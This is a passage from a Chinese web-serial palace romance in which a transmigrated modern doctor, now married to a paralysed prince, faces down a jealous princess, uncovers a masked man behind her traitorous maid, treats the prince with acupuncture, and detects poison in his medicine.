她的皇儿就算再无能又怎么了,毕竟是皇帝唯一的皇子,太后竟然想着从宗亲里过继皇子过来,简直闻所未闻! 宫女将头埋得更深了些,立马匍匐在地,一张脸上写满了小心与忐忑:“皇后娘娘息怒……” 皇后的眼中满是戾气,胸前剧烈的跌宕足矣彰显她此刻的愤怒,语气不善地道:“去把太子给本宫叫来!” …… 翊王府。 用过了早膳的沈听晚,想起还被暗蒙关在柴房里的陪嫁丫鬟欢儿,便准备亲自过去会会。 然而就在这个时候,王府里却迎来了一个不速之客。 “宝郡主!你不能进去,王爷身子不好不宜见客啊!” 管家拼命的拦着,但碍于身份,也不好太过,这时候一道尖锐的少女声音传入沈听晚的耳中。 “大胆!本郡主的路你也敢拦,看你是活腻了!” 说着,少女小手一扬,一巴掌重重地打在管家的脸上。 沈听晚蹙眉,转头闻声看过去,便见到一个身穿华丽锦缎淡粉色长裙的女子,满脸尽是嚣张之色。 这是谁? 自称郡主? 听到管家方才提到面前的这个少女是宝郡主,沈听晚回忆起来,书中好像的确有什么个人。 这宝郡主是长公主和前丞相高归林所出,而这高归林又是君翊的舅舅,当初皇帝登基后不久,高归林因贪污受贿被抄家流放,长公主也与他和了离,带着宝郡主回了公主府,才免遭流放之苦。 要是这么论的话,这宝郡主既是君翊的外甥女,也算是侄女儿了。 不过看着眼前这宝郡主一副趾高气昂的架势,怎么看都给沈听晚一种正宫娘娘来捉奸的既视感呢。 “宝郡主,您真不能进去啊!王爷他现在需要静养!” 宝郡主却满眼冒火,大有一副要杀人的架势:“本郡主听说太后给皇叔赐了婚?那那贱蹄子人呢!郡主倒是要看看究竟是什么样的货色!” 沈听晚眨了眨眼,这是冲她来的? 管家脸色难看的很,抬手捂着一边红肿的脸,为难的开口:“宝郡主慎言啊!” “滚!”宝郡主一脚踹开管家:“本郡主今天就要见她,赶紧叫她滚出来!” 见这架势,沈听晚是想不出面都不行了。 “宝郡主是来找我的吗?” 沈听晚缓缓走上前两步,随即轻生开口说道。 “你就是皇叔娶得王妃?”宝郡主闻声看过去,见着沈听晚那张倾国倾城的面颊,心里生出一抹嫉妒。 呸! 水性杨花的贱女人! “嗯……我就是和翊王昨日成亲的翊王妃,怎么,宝郡主是来恭喜我和翊王的吗?” “恭喜?”宝郡主上下打量着沈听晚,抬手怒指:“本郡主见过你,在太子哥哥的大婚上,你明明是太子哥哥的太子妃,现在却恬不知耻的嫁给皇叔,你是何居心!” 她一大早听到这个消息,简直差点没被气晕过去。 那是她看上的男人,凭什么要去这个二嫁贱人! 宝郡主心仪君翊多年,奈何身份使然,她不敢对君翊展开明不张胆的爱慕,也知道,父亲一日不回京,她便一日不能嫁给自己的皇叔。 可是,父亲明明答应过她,日后她会是翊王的妻,会是东陵的皇后啊! 这些年,她早已经将君翊视为自己的囊中之物,可谁承想,这半路竟然杀出来个翊王妃,而且还是太子不要的弃妇! 秦姝撂冷眸睨着因为嫉妒,面孔扭曲的宝郡主:“我与翊王殿下是太后赐婚,宝郡主这话是在问太后娘娘是何居心吗?” “你!”宝郡主被气得咬牙切齿::“伶牙俐齿!皇叔才不会娶你这个弃妇!” 沈听晚被气笑了:“谁说的?昨晚本王妃还与殿下圆了房呢,殿下并未拒绝啊?” 面对比自己矮半头的丫头,沈听晚是半点不输气势。 宝郡主看着傲然自信的秦姝,有些慌了,情绪明显有些不稳。 她口不择言地喊道:“你胡说!皇叔他现在和废人并无两样,而且他不能说话,一定是你这个贱人强迫皇叔的!” 沈听晚双眼微眯,缓缓抬起下颚,冷声开口:“宝郡主,身为翊王殿下的外甥女,竟然说自己的皇叔是废人,若传出去,好说可不好听啊!” 白郡主意识到自己说错了话,一时语塞。 然而,沈听晚还在不断输出:“还有,昨晚我与殿下圆房,从未强迫,是殿下心甘情愿的。” 宝郡主一听到沈听晚的话,简直要嫉妒的发疯:“无耻!这个贱人竟然什么话都说得出!” “为什么说不出?”沈听晚抬眸睨了宝郡主一眼:“身为翊王的外甥女又是侄女,竟然觊觎自己的皇叔,长公主知道吗? 这要是被外人知道,恐怕要成为京城笑话了吧!宝郡主,小姑娘家家的,要懂得自爱啊。” “你!” “你什么?觉得理亏了吧? 宝郡主,如果你今天是来祝福我和殿下的,那翊王府欢迎你,如果是来挑事儿的,那就恕不远送。” 沈听晚的眼神也骤然冷了下来,扫了宝郡主一眼。 那冰冷的眼神叫宝郡主心神一震,你这一眼,便叫她心生畏惧。 不过,不知道想到了什么,宝郡主胆子瞬间大了不少:“你有什么权利赶本郡主走!” 沈听晚唇角泛起一抹冰冷的弧度,眼神不善地睨着宝郡主。 “就凭我现在是这王府的女主人,是你的皇婶外加舅母!宝郡主,我劝你说话放尊重些,不然我不介意到长公主面前聊聊天。” 第19章 王妃还是太心慈啊 “你!”宝郡主咬牙切齿,一张羞愤的脸颊被憋的通红,藏在袖子里的手死死攥紧,一时之间被沈听晚的话气得浑身颤抖起来。 “本郡主是来看望皇叔的!”宝郡主阴沉着脸,暖和了好一会,才冷声开口。 沈听晚挑了挑眉,随即淡淡点头:“请便吧。” 她可没工夫在这陪着一个小丫头打嘴仗。 说着,便抬脚转身走远。 宝郡主见着沈听晚离开的背影,眼中闪过一丝阴郁之色。 对于沈听晚刚才说的,她是一个字都不相信。 她要亲眼见到皇叔,在皇叔面前拆穿沈听晚的谎言,叫皇叔知道,这个贱人在背后是如何胡说八道的! 她要让皇叔彻底厌恶上沈听晚,她要让沈听晚今后在翊王府生不如死! 宝郡主收回视线,便大步朝着君翊的院中走去,因为有了王妃的同意,再没有人敢上前阻拦。 而沈听晚此时也来到了翊王府最后面的柴房里。 她推开门,便看见角落里蜷缩着一个小小的身影。 柴房的窗户是被人用板子钉上的,所以外头是白昼,这里面确实一点光线都透不进来。 沈听晚将门打开那一瞬,一束光亮照在欢儿的身上,欢儿身形一僵,转眼朝着门口望去。 “小姐……呜呜,求小姐开恩啊,奴婢知道错了,奴婢给小姐磕头,求小姐再给奴婢一次机会吧!”欢儿在看清来人是沈听晚,便立马跪了下来,不断的磕着头请罪。 “一次不忠,百次不用,欢儿你作为我的陪嫁,却吃里扒外,伙同外人要将我置于死地。 你扪心自问,从你到我跟前伺候之后,我可曾亏待过你什么吗?” 见着眼前的欢儿,沈听晚的眼神变得冰凉。 从前原主对她身边的人都是极好,尤其是欢儿这丫头,更是待他如同亲姐妹般。 正因为如此,沈听晚才对原主感到不值。 原主的善良心性,却不想竟在身边养了个白眼狼出来。 欢儿脸色骤然一白:“呜呜……是奴婢错了,奴婢该死,求小姐给奴婢一次赎罪的机会吧! 奴婢从今往后给小姐当牛做马,如若再背叛小姐,就……就让奴婢受吞碳之刑,让奴婢被火烧死!” “你这样的人,我是断不敢留在身边了,等下我会派人将你带出去,从今往后,你是死是活,都看你自己的造化吧。” 欢儿一脸惊讶。 这是要放她走吗? 可是……欢儿垂下眼去,眼底闪过一丝挣扎之色。 毕竟她答应了别人,要留在沈听晚的身边暗中观察她的一举一动。 如果完不成……那人估计不会放过自己的。 沈听晚居高临下的看着匍匐在地的欢儿,心中不禁感叹。 养条狗也能忠心护主啊,可是这丫头,叛主了一次,竟然还想着再算计主子。 嘴角勾起一抹寒笑:“从今往后,你好自为之吧。” “小姐!”眼看着沈听晚准备抬脚出门,匍匐在地上的欢儿连滚带爬的起来,想要抓住沈听晚的衣摆:“小姐不要赶走奴婢啊……” 只可惜,还没抓到沈听晚的一片衣角,就被外头突然间冒出来的人一脚踹开:“放肆!” “咚……”的一声,欢儿被暗蒙踹倒在地,大口的鲜血从嘴里喷出来,嘴里却依旧不依不挠地喊着:“小姐,奴婢是你的陪嫁丫鬟啊,你赶走奴婢,今后谁伺候你啊!” 站在沈听晚面前的暗蒙眉头紧拧,冷眼看着口中不断求饶的小丫鬟,心里升起一抹厌恶。 他总算是知道为什么王妃娘娘在听到自己陪嫁丫鬟被他关在柴房里会是那样的反应了。 这样的吃里扒外,要换做是王府里的人,早就发卖出去的柳巷被活活折磨死了。 想到这里,暗蒙不禁觉得他们王妃实在是太心慈手软了,这样软弱的性子,难保以后不吃大亏啊。 沈听晚不再理会欢儿,转身抬脚出了柴房,暗蒙紧随其后,一同跟了出去。 “王妃……” 将柴房的门关上后,暗蒙忍不住上前叫住了沈听晚。 “怎么了?” 暗蒙脸上欲言又止:“王妃就打算这么放过她了吗?”担心沈听晚听不明白,又继续道:“您对她心软,但是她却有了叛主的心思了,放过她无疑是放虎归林啊。” “谁说我要放过她?”沈听晚抬眼看向暗蒙,嘴角微微勾起抹弧度:“现在留着她还有用呢。” “王妃,您的意思是……”暗蒙眼底闪过一丝诧异之色,一时之间有些疑惑。 “等下将她赶出王府之后,你亲自去盯着她,看看她会去见什么人,另外,如果有人要杀她,去保她一命,再将人给我带回来。” 沈听晚淡淡开口,大婚也被算计迷晕在新房里,君宁玄和叶雪初两人有恃无恐在她跟前苟合,她就是想确认一下,究竟是谁收买了欢儿。 暗蒙眼神中的光亮微微闪了闪,先前是他误会王妃了?王妃这是想要放长线钓大鱼,而那个叛主的丫鬟就是鱼钩上面的饵。 “是,王妃娘娘!” 欢儿被暗蒙半点不怜香惜玉的从王府后门丢了出去,力气之大,欢儿都感觉自己的五脏六腑仿佛都被震的移了位。 她趴在地上,一张脸上沾满了土灰。 “赶紧滚!今后若在发现你在王府附近出现,别怪我不客气!” 暗蒙放下狠话之后,“啪”第一下将大门重重关上。 欢儿整个人仿佛骨头架子都要散了,她勉强挣扎着摇摇晃晃站起来,随即眼神当中充满一丝恶毒地啐了一口:“呸!” 要不是有人给她一百两银子让她看着沈听晚,真以为她愿意回来啊! 欢儿一瘸一拐的转身离开,却丝毫没有察觉,身后暗处正有一个人悄悄跟着她…… 王府里,沈听晚做了给君翊的午膳之后,刚走到君翊的院子不远,便看见宝郡主的身影,崩溃的一边看哭着一边跑远。 沈听晚眼底闪过疑惑之色。 君翊这是把人给骂哭了? 她大步走进房间里,见着君翊一脸平静紧闭着双眼,那模样和她第一次见到君翊的样子如出一辙啊。 第20章 宝郡主喜欢你啊 沈听晚的脸色一变,心下升起不好的预感,大步上前抓住君翊的手腕,准备检查一下他的身体。 而就在这时,床上的男人却睁开双眸,嗓音略带疑惑:“你干什么?” 沈听晚见人有了反应一愣,随机猛松了口气,坐在床边上,忍不住瞪了君翊一眼:“吓我一跳,没事闭什么眼啊,我以为你又中毒了呢!” 听见沈听晚的话,看见她眼底的担忧中色不像作假,君翊的心里升起一丝异样。 “你关心本王?” 沈听晚没好气开口:“是!我怕你死了,我这个刚过门的王妃被人说成灾星啊!” 君翊:“……” 他就知道,从这小姑娘嘴里听不到好话。 他适时转移话题:“刚才去干什么了?” 沈听晚整理了一下情绪:“给你做午饭啊! 对了,路上我碰见你侄女儿了。” 君翊黑着一张脸:“那也是你侄女儿!” 沈听晚撇了撇嘴,意味深长的看了君翊一眼:“谁好人家侄女儿会喜欢自己皇叔外加舅舅啊!” 君翊:“……”不会说话可以闭嘴。 “本王对她从来都是长辈的关爱,并无其他感情,是从前舅父曾提过让她嫁给本王的玩笑话,没想到那丫头竟然当了真。” 沈听晚:“其实也不算玩笑话,你舅舅是真打算把宝郡主嫁给你的对吧?” 君翊眉头一蹙:“根本不可能,本王是她皇叔,而且还是舅舅。” 这就算是没有这两层关系,他也不可能会喜欢高宝儿。 沈听晚撇了撇嘴:“这有什么,你又不是她亲舅舅,已故太妃是高家的养女,怎么算起来,你只是和宝郡主有点血缘的亲戚,更何况,你和长公主是同父异母,这外甥女嫁舅舅,放在皇室里,也不是什么稀罕事吧。” 君翊目光一紧,抬眼看向沈听晚:“你怎么知道母妃不是高家的女儿?” 沈听晚一顿,下意识收回视线:“哦,以前我父亲母亲在房间里说话,我偷听来的。” “更何况这样的事儿,也不算秘密吧,京城之中就有不少人知道,我能知道有什么奇怪吗?” 君翊双眼微眯,看了沈听晚良久:“这件事情就连皇兄都不知道。” 沈听晚心头一紧,糟糕了。 她也是看这本知道了先太妃是高家养女的事儿,刚才一时疏忽竟然脱口而出了。 君翊这家伙本就疑心重的很,他不会发现什么了吧? “不过沈将军曾经和舅父关系不错,或许是舅父告诉给沈将军的也说不准。”君翊收回视线随即淡淡道。 沈听晚扯了扯嘴角:“哦,对,那就没错了,肯定是前丞相告诉我父亲的。” 听见这话,君翊再抬眼看向沈听晚,嘴角勾起一抹若有似无的弧度。 高家和沈家从前从未有过半点交集! 君翊现在是确定了,在沈听晚的身上有一个秘密,而且还是一个对沈听晚来说很重要的秘密。 沈听晚不打算在和君翊继续展开这个话题,下意识打断开口:“对了,我刚才进来的时候发现宝郡主是哭着走的,她怎么哭了?” 君翊垂眼看了看自己的身体,薄唇轻启:“还不是她看到了昨晚你在本王身上留下的印记。” 沈听晚的眼神顺着君翊的目光看过去,在看到君翊那张俊美的脸庞以下,遍布的一块块红道发紫的痕迹,眼神一僵,随即狠狠抽了抽嘴角别开视线:“那个……你如果不想让宝郡主误会,我可以向她解释的。” “解释什么?解释这些印记是假的?”君翊睨了沈听晚一眼:“你如果说了,不出半个时辰,皇兄和太后就会知道你我昨晚圆房是假的。” 沈听晚:“……” 好像确实如此。 “更何况,让她误会着也好,省的她把不该有的心思放在本王身上。” 沈听晚脸颊不受控制的抽了抽:“殿下,我可不可以理解为你把我当成了挡箭牌?” 君翊白了一眼:“这话说的可就难听了,你是本王王妃,替本王挡桃花不是王妃应尽职责?” “殿下,你可别忘了我们之间是交易,我可不算你的王妃,顶多算互利互惠的合作伙伴好吧!” 君翊:“……”别开眼转头不再理会沈听晚。 这交易他可没答应。 他一开始答应的可一直都是关于医治方面,无条件听从沈听晚。 见着君翊沉默,沈听晚撇了撇嘴,这是说不过她,所以跟她面前上演沉默是金是吧? 沈听晚沉着小脸将午膳端过来:“先吃饭吧,吃完饭开始施针。” 沈听晚把餐盒拿到手里,因为暗祁暗蒙两人都被她安排出去办事儿了,君翊这家伙身体又动不了,只好她亲自喂饭。 沈听晚舀了一勺米饭拌着清口小菜,递到君翊嘴边:“吃。” 君翊:“本王还未漱口。”脸上的不满彰显着抗议。 这小丫头到底会不会伺候病人啊…… 沈听晚气笑了:“身为个大男人,一顿两顿不漱口没什么的,你忍忍,下回等他俩给你喂饭的时候,再漱吧。” 她那饭菜递到君翊嘴边,一股浓香的饭菜香气扑面而来,然而君翊却执拗的不肯张嘴。 大有一副不漱口他就不吃饭的架势。 沈听晚简直要被君翊气的要暴走了,他就从来没见过这么难伺候的病人。 放下碗,给君翊倒了杯清水递过来:“漱!” 见状,君翊心满意足的张开薄唇,任由清水流淌进入口中简单漱了漱,又示意沈听晚一眼。 沈听晚心领神会,面无表情拿起床下痰盂,然后将君翊半扶着起身。 接下来,君翊倒没有再闹,任由沈听晚喂饭,直到一碗饭下肚,也没有从前的恶心感,反而胃口大开,又奇迹般多吃了半碗饭。 君翊被密长眼睫遮掩的黑眸,划过一抹暗光,意味深长的看了一眼在桌前忙碌的身影。 窗外的阳光顺着半开的窗子洋洋洒洒的进入房间里,照在君翊赤着上身被扎满大小不一的银针上,反射出一束刺眼的光。 沈听晚扫了一眼,男人的宽肩窄腰,和隐隐约约的腹肌线条。 第21章 幕后神秘人 君翊就是属于那种穿衣有型,脱衣有肉的类型。 沈听晚忍不住又多看两眼:“我现在给你施针,你等下浑身会有一种冒火的感觉,你坚持坚持。” 沈听晚的话音落,在君翊的关元、还跳,太突等穴位,落下最后几针。 她施针手法轻柔稳定,君翊瞬间有一种体内有一种干柴烈火燃烧的感觉,呼吸急促,浑身如同熟透的虾子通红通红,似乎能够看见他身体正往外冒着热气儿,唇间泄露出隐忍的闷哼声。 沈听晚不怎么走心地安慰:“你身体亏损的太严重了,我现在是在给你补元气,这样接下来的治疗你才能撑得住。” 君翊咬了咬牙,睁开紧闭的双眼,看向沈听晚沉声道:“要多久?” “要一个半时辰左右,能坚持吗?”沈听晚也有些担忧的开口:“如果坚持不了,我可以缩短点时间,但这样会使施针效果折半……” “本王可以。” 君翊看向沈听晚,又重复道:“我可以坚持。” 如果能痊愈,就是叫他受再多苦,他也能受得住。 他不想整日只能被困在这一张四四方方的床榻上了,更不想再被人喊一句瘫子废物。 “好……” 沈听晚心里暗暗震惊,不得不说,她的确佩服君翊的隐忍程度。 要知道,银针落下,患者便会感觉到浑身灼烧难忍,致使浑身骨缝酸痛,体内滚烫的血液流至前身每处。 她走到床边,仔细观察着君翊的反应。 “本王……真的可以痊愈?” 听见床边传来声响,沈听晚抬眼便见着君翊隐忍的眼神中发出的期盼之色,红唇微微动了动:“信我不会叫你失望。” 至少在君翊之前,她没有让任何一个患者失望过。 沈听晚的语气很平静,平静到似乎君翊只是生了一场小病那么简单。 可只有君翊自己明白,他在战场上的伤有多重,而且这一年多来,有无数大夫都告诉他,他永远也好不了了。 那种失落感,叫君翊感到绝望,更不敢轻易相信他还能痊愈。 沈听晚也似乎感觉到了君翊内心的紧张,她想了一下,随即缓缓开口:“其实你的伤确实很严重,但也并不是没有可能,这不是碰见我了吗? 想要站起来,最重要的就是疏通脊柱的经络,但你的脊柱现在就基本上已经丧失全部功能了,而且一年多脊柱受伤的地方已经长成,所以接下来需要将你受伤长成的脊柱打碎重造,这个过程很痛苦,但只要成功了,待恢复后,你的脊柱就可以恢复正常功能。 三个月的时间,你可以站起来,通过复健,半年左右你能恢复从前一样,可以上战场打仗。” 当然,如果君翊的适应能力加上自身素质足够强的话,可能也用不到半年那么长。 听着小姑娘娇软的声音说着安慰自己的话,君翊抬眼看过去,见着小姑娘白皙的小脸蛋带着两面桃腮,心里仿佛有着什么一点点在消融般。 沈听晚又开口:“一年的时间都受了,接下来半年而已,日子过得很快的。” 君翊薄唇抿成一条直线:“嗯……” 接下来到结束的一个多时辰里,沈听晚没再开口说话,君翊也紧闭双眼,隐忍着浑身袭来的灼烧剧痛。 不知道是君翊的隐忍程度太强,还是不想让沈听晚担心,从开始到结束,君翊都没有再吭过一声。 时间点点流逝,直到治疗结束,沈听晚起身拔掉君翊身上的银针是这才发现,他此时浑身都被汗水浸湿,就连身下的被褥都被拓出来一个人形。 沈听晚眉头微拧了拧,没再多说什么,默默拔掉银针后才开口:“今天治疗结束,明天继续。” 施针还需要三天,沈听晚看了君翊一眼,见着他的隐忍程度,暗暗相信他应该可以受得住。 “王妃娘娘。” 此时,门外暗蒙的声音响起,沈听晚挑了挑眉:“进来吧。” 暗蒙推门而入,见状沈听晚脸颊上的疲惫以及自家主子浑身通红,本想要说的话咽了回去,满脸担忧地看着君翊:“王妃,殿下……殿下这是怎么了?” 沈听晚:“哦,没事,刚才给王爷施针,等会就好了。 对了,正好你来,你帮殿下擦擦身子,然后换一床干净的被褥吧。” “是。”暗蒙立马点头,他的动作很快也相当娴熟,不多时,君翊的身上就变得干净清爽。 沈听晚坐在椅子上,看着暗蒙规规矩矩站在一旁,突然间想起来什么转眼看过去:“是有结果了吗?” 暗蒙看了沈听晚一眼,然后点点头:“是,王妃,您的婢女出了王府之后,便去了城西那边的小巷,会见了一个人。” “那个人是谁?太子还是叶雪初?” 沈听晚坐直了身子,脸上略带着些许焦急,然而,暗蒙却低下头去:“回王妃,都不是……” “嗯?” “那婢女会见的是一个男人,不过那人蒙着面属下看不出他的长相。” 沈听晚身子又靠回椅背上,一张小脸变得严肃起来,口中呢喃道:“不是他们两个吗?” 那又会是谁呢? 谁会平白无故的要对付原主? 书上所写,公主本是个大门不出二门不迈的将军府小姐,平日里也甚少与人结下恩怨,与太子定下婚约之后,可以说,能接触到的外男似乎只有太子…… “王妃……”暗蒙欲言又止,脸色有些不好地道:“属下在暗处偷听到,这一次你那丫鬟之所以回来,是那个神秘男让她回来监视你的,并且让她将你在王府的言行举止一字不落的汇报给他……” 想到他在暗处偷听到的话,暗蒙心里就怒火中烧,要不是王妃说要留着欢儿的小命,他都恨不得出去直接了结掉两人的狗命。 “我有什么好监视的?”沈听晚眼底闪过一丝意外。 “属下不知,不过那个神秘男知道欢儿失去王妃的信任了,打算杀人灭口,属下救下她,却惊动了神秘男,带着那丫头,属下没办法追上他,让他跑了。”暗蒙脸上写着挫败,王妃第一次给他下的命令,他就没有办好,实在是没脸再见王妃了。 第22章 那人的目的不在你 “那人身形什么样,说话可有什么特征?”这时,床上的君翊突然间开口,只见他凤眸微眯,语调微冷的问道。 暗蒙仔细想了一下,立马道:“回殿下,那人身形和属下差不多,不过说话声音似乎可疑做了调整,音调很低,好像在刻意掩饰什么。” “那他离开的时候,是从什么方向而去的?” 暗蒙又语气极快地开口:“东边,那人武功不弱,轻功了得,属下救下欢儿之后,他就没影了。” 君翊脸上没有什么表情,眼神微冷:“把人派出去在京城暗中排查。 他既然要对王妃的是了如指掌,想必一定是京城中人,一切可疑之人都别放过。” 敢盯上他的王妃,他看是那人嫌自己命太长了! “不必了。” 沈听晚却在这个时候转头看向君翊:“不用那么麻烦,我原本想着大婚当日收买我的丫鬟,不是太子就是叶雪初,现在看来是我想简单了,那人既然蒙面出现,没那么容易让人发现他的真实身份。 不过他这一次没得逞,接下来一定会有所行动。” 只要有动静,自然就会露出马脚。 虽然暂时还不知道原主会被什么人顶上,但沈听晚却不担心。 总会有人比她更着急。 君翊微微垂眸,这会算是彻底缓过来了,沉思一瞬随即淡淡开口:“你有没有想过,或许那人的真正目的不是你。” 沈听晚转过头,眉目看向君翊,直视着君翊那双深邃的黑眸:“什么意思?” 君翊冷静地分析着:“你与太子大婚夜,他收买你的陪嫁丫鬟,使得太子和叶家女苟合,看似针对你,助太子纳侧妃,但本质的目的却是纵容太子犯错。” 沈听晚静静地听着,赞同点头:“你说得倒是有道理。” 听着君翊的分析,沈听晚瞬间有一种豁然开朗的感觉,顺着君翊的思路继续道:“所以后面,他让欢儿到我身边,名义上是盯着我,但真正目的却是翊王府!” 君翊刀削般俊郎的面孔,神色微松,嘴角勾起一抹弧度。 的确是个聪明的姑娘。 一点就通。 他薄唇缓缓启动,眼底微微眯起一抹寒意:“先前是太子,之后又是本王,看得出那人是对皇室中人很感兴趣。” 沈听晚眉头紧锁,将所有事情串联起来,一整颗心也渐渐沉了下去:“所以,我现在就是他的一步棋,不禁利用我对付了太子,现在还要通过我监视你?” 这样想着,沈听晚都觉得匪夷所思。 京城之中有那么多人,偏偏好死不死,就只有原主被盯上了! 君翊嘴角勾起一抹冷笑:“成为棋子的怕不止有你一人。” 能够把心思放在沈听晚身上,那人便不会只有这一个选择。 看来,他就不出门,这京城的天是要变了。 沈听晚:“现在我身边和那个人有接触的只有欢儿,想要解开谜团,或许可以从她身上下手。” 沈听晚想到这里,便立马起身,转头看了一眼君翊:“我现在过去,看看能不能得到些有用的线索!”说着,便转身大步出了房门。 看着沈听晚脚步带风,火急火燎地跑出去,君翊嘴角微扬,眼神中闪过一丝无奈。 站在床边不远的暗蒙,看着自家王爷脸上的表情,也惊得一愣一愣。 是他看错了吗? 他怎么在王爷的脸上看到了一丝,嗯……宠溺?! 暗蒙使劲揉了揉眼睛,在看向床上,只不过叫他失望的是,君翊才面容已经恢复了往日的冰冷。 “继续调查那人,有什么情况立马来报。” 暗蒙赶忙低下头去,恭敬地道:“是。” “另外。”君翊的语气顿住一瞬:“去查一下王妃儿时是否去过神医谷,还有,从前王妃的性格喜好都查清楚回来告诉本王。” 暗蒙听见这话,身子一僵,脸色突然变得难看了不少:“王爷是觉得王妃可疑?” 君翊淡淡的撇了暗蒙一眼。 他有哪句话说沈听晚可疑了? 暗蒙心下一沉,忙不迭道:“是,属下这就去!” 君翊:“站住。” 见着暗蒙转身要走,君翊清冷的声音再次响起:“往后王妃若是没起,王府中人不得进院打扰。” 君翊想起早晨时,小姑娘在床上睡得正香,被人打搅了好梦,起来时晕乎乎的小脸满是警惕模样,不禁觉得有趣。 他得知会府上人一声,免得以后又有人打搅小姑娘的美梦。 “是!” 临近日落,沈听晚才提着食盒,再次回到房间,只不过一张小脸上却写满了踌躇。 君翊转眼打量着浑身满是挫败的沈听晚,嘴角微勾,声音也软下来不少:“没查出来什么对吗?” “你怎么知道?”沈听晚抬头下意识问道,随即轻叹了口气:“欢儿也不知道那个人是谁,说的和暗蒙形容的差不多。” 只不过,沈听晚得到了一个很重要的消息。 那就是欢儿早就被那人收买了,就在她和君宁玄定下婚约之后的不久。 这也足矣证明,君翊分析的没错,那人的真正目的确实不是自己。 “很正常,若是你那丫鬟知道神秘人是谁,暗蒙就不可能查不到了。” 他身边的人,他还是了解的。 估计暗蒙把欢儿带回来之后,就已经审过一遍了。 “哎!”沈听晚轻叹一声:“看来我还是太天真了,你们这儿的弯弯绕绕实在不是什么人都能应对自如的。” 她就不行。 作为现代优秀全能型军医,在手术台上她雷厉风行,凭借过人的医术和智慧头脑从鬼门关里救人无数。 可是到了这纸片人世界当中,短短不到三天时间,她就已经觉得力不从心了。 君翊似乎敏锐察觉到了什么,抬眼看向沈听晚:“我们这儿?” 沈听晚心下一慌,糟糕,她又口无遮拦了! 其实也不怪沈听晚不小心,实在是在君翊的面前,沈听晚全然将他视作患者,很容易便忽视了他可是在九子夺嫡当中顺利活下来的皇叔,不管是智谋还是机敏程度,都远超与常人啊。 第23章 王妃是来立规矩的 “是啊,你们皇室啊。”沈听晚牵强的解释道:“从前我在将军府,哪有这么多的弯弯绕绕,可嫁到了皇室才发现,这人心险恶啊。” 面对沈听晚的说辞,君翊只是淡淡笑笑,并未拆穿,语气清淡道:“所以你得好好适应适应,从今往后这人心险恶是少不了的。” 沈听晚看了君翊一眼,见他脸上没有怀疑,暗暗松了口气。 “还是算了,等三个月后我把你治好了,你赶紧给我一张和离书放我走吧。” 她可不喜欢搞什么权谋。 既然穿到这个纸片人世界,沈听晚只想做一条小咸鱼,隐姓埋名,在所有人不认识她的地方开一间医馆,然后收诊金。 然而君翊却是:“……” 怎么又提到这茬来了。 和离书。 这小姑娘的脑袋里除了和离书,就没点别的东西了? “王妃娘娘,殿下的药熬好了。” 门外,响起暗祁的声音,房间里的沈听晚顿时面容警惕起来,随即拍了下脑门:“忙活一天,倒差点忘了!” “进来吧。” 不多时,暗祁端着药进门:“王妃,这是后厨刚熬好的药,属下亲自盯着的,您看看还有没有问题?” 暗祁一脸紧张的看着沈听晚,心里忐忑的不行。 自打早晨起听到沈听晚说药里头有毒之后,暗祁是半点都不敢放松,不管是抓药熬药,还是什么人经受,他都亲自盯着的,他就不信了,就这样还能给人下手的机会! “不用看了。”沈听晚淡淡扫了一眼。 “自打你端着要进屋,我就闻到了,这要和早晨那碗一样,还是有毒的。” “什么?”暗祁脸色一白,他都已经这么警惕了,竟然还有人在他眼皮子底下下毒? 君翊看了沈听晚一眼,轻佻了一下俊眉:“把药倒了吧。” “是。”暗祁沮丧着一张脸,端着药碗走到花盆前,抬手一泼,一碗要尽数倒进花盆里。 “王爷,我先前说要在王府大闹一场,你是同意的对吧?” 君翊眼神一顿,随即淡定的开口:“嗯。” “好!”沈听晚拍了一下桌子,脸上带着意味深长的笑意看向暗祁:“想不想知道给你们王爷下药的人究竟是谁啊?” 暗祁一愣,忙不迭点头:“王妃娘娘有办法?” “自然!”沈听晚语气轻快的道:“去把王府里所有人给我叫到院子里,就说本王妃刚嫁进门来,想要认认人,记着,看住所有人,不要给他们回自己房间里的机会。” “是!”暗祁瞬间来了兴致,随即大步朝着门外跑去。 “本王的人,你用的倒是挺顺手。”见着暗祁现在什么顺从沈听晚,不禁开口。 “怎么,王爷是觉得自己被夺权了,心里不平衡吗?”沈听晚轻挑着眉问道。 君翊翻了个白眼,他是这个意思吗? “你是本王的王妃,本王的就是你的。” “可拉倒吧。”沈听晚摆了摆手:“他们两个是你最忠实的下属,听我的话,也全然是因为我对你有利而已,假若有一天,我想要害你,你看他们还会不会对我言听计从?” “所以王妃想害本王?”君翊俊眉轻佻,薄唇缓缓地道。 沈听晚:“……” 深夜。 王府内灯火通明,一众下人侍卫被“请”到了院子里。 沈听晚来到前院里,看到院中站满了人,也忍不住惊讶一瞬。 这一个翊王府里头,究竟有多少下人伺候啊? 余光扫见站在人群里的曹嬷嬷,只见她低着头,脸色阴沉的可怕,一张保养不错的脸肿的老高,看上去倒是滑稽的不行。 “王妃,府上后厨三十人,前厅洒扫小厮五十人,后院丫鬟婆子二十人,侍卫一百零三人,都到齐了。”暗祁上千一步向沈听晚行礼,随即恭敬开口。 听着暗祁的叙述,看着最近面前站着的两百来号人,沈听晚不禁抽了抽嘴角。 好家伙,二百多号人的存在只为了伺候一个主子? 这古代大户人家的生活,真不是寻常人能想象的。 沈听晚强撑着镇定,淡淡开口:“知道了。” 她走上前两步,站在台阶上居高临下打开看着台下众人。 众人此时也是一脸的问号,不知道这刚嫁进门的王妃究竟要干什么。 “昨晚本王妃进门匆忙,没来得及见一见大家,今儿算是正式见过了。 从前,本王妃不知道王府是何规矩,也不清楚你们是如何服侍王爷的,不过既然我来了,托王爷信任,让本王妃掌王府管家之权,那以后王府一切便由我和王爷两人说的算。” 听到沈听晚的话,台下众人相互看了一眼。 原来王妃这是要来给他们立规矩的。 “是,今后奴才/奴婢但凭王妃娘娘吩咐。” “本王妃这个人呢,最厌恶的就是背信弃义之人,其次是仗势欺人,最后便是手脚不干净的,这三类人在我这儿,绝不姑息。” 众人脸色一变,纷纷低下头去,神色各异。 管家林泉站在最前头,眉头微微皱了皱,随即上前一步恭敬开口:“王妃娘娘放心,王府中人都是对殿下忠心耿耿的老人,而且王爷从前就说过,王府里人不得仗势欺压百姓,奴才们个个耳提面命,不敢违抗王爷之命的。” 沈听晚抬眼看过去询问:“你是王府管家林泉?” 林泉立马躬下身子:“是,王妃娘娘好记性。” “王府里的人都是你安排进门的?” 